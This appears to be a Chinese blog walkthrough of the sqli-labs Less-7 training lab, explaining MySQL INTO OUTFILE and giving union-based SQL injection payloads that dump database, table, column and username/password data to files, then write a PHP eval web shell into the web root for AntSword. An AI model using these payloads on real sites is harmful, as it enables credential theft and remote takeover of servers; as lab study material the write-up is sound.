into outfile
开始做题前,先了解一下什么是into outflie命令
INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件,供进一步处理或导出使用。
以下是 INTO OUTFILE 命令的基本语法:
SELECT column1, column2, ... INTO OUTFILE 'filename' FROM table_name WHERE condition;
column1, column2, ...
:要选择的列。'filename'
:指定要输出的文件路径和名称。注意,MySQL 服务器必须有写入该文件的权限,并且必须是绝对路径。table_name
:要查询的数据库表名。WHERE condition
:可选,用于筛选查询结果的条件。
例如,假设我们有一个名为 customers
的数据库表,其中包含 name
和 email
列。如果要将符合特定条件的数据输出到文件中,可以使用以下查询:
SELECT name, email INTO OUTFILE '/qiu.txt' FROM customers WHERE age > 30;
这将把年龄大于 30 的客户的姓名和电子邮件输出到 /qiu.txt
文件中。
判断注入类型
单引号回显error
尝试双引号:
但输入?id=1" and 1=2 --+
时仍正常回显:
说明不是单纯的单引号/双引号注入
常用的闭合符号
SQL语句原代码: '$id' "$id" ('$id') ("$id") (('id')) 闭合代码: 1' # 1" # 1') # ") # ')) #
?id=1')) and 1=1 --+
回显正常
?id=1')) and 1=2 --+
回显错误
可判断注入语句为$sql="SELECT * FROM users WHERE id=(('$id'))";
判断注入点个数
GET1')) order by 3 --+
,回显如下:
GET1')) order by 4 --+
,回显如下:
故注入点为3个
查库名
联合查询(注入点为3)+into outfile
我们写入文件时,应选择数据库中有写入权限的目录
模板:?id=1')) union select (sql语句) into outfile '路径' --+
于是构造:?id=1')) union select 1,2,database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+
执行该语句后访问D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\
目录,打开1.txt文件,得到导出的数据库名
注意:payload中目录的分隔符可以是\、//、/ 但不能是 \
查表名
Payload:?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\2.txt' --+
步骤同上:
查users表的列名
Payload:?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt' --+
步骤同上:
查字段
Payload:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt' --+
获取账号及密码,步骤同上:
如果我们并不能直接从本机的目录上访问这些txt文件,该怎么办?
既然我们可以上传文件,同样地,也可以一句话连接蚁剑
模板:?id=1')) union select 1,2,'一句话木马' into outfile '路径\\a.php' --+
(三个注入点)
Payload:?id=1')) union select 1,2,'<?php eval($_POST[qiushuo]);?>' into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php' --+
然后删除非必要的代码
连接蚁剑:
访问txt文件:
总结
以上为[网络安全]sqli-labs Less-7 解题详析,后续将分享[网络安全]sqli-labs Less-8 解题详析
原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析
我是秋说,我们下次见。